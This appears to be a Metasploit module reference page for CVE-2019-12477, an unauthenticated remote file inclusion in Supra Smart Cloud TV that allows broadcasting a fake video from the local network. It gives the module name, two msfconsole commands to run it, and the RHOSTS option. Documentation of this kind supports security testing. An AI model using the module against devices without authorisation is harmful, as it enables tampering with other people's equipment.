List of CVEs: CVE-2019-12477

This module exploits an unauthenticated remote file inclusion which exists in Supra Smart Cloud TV. The media control for the device doesn't have any session management or authentication. Leveraging this, an attacker on the local network can send a crafted request to broadcast a fake video.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


msf > use auxiliary/admin/http/supra_smart_cloud_tv_rfi
msf auxiliary(supra_smart_cloud_tv_rfi) > exploit

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
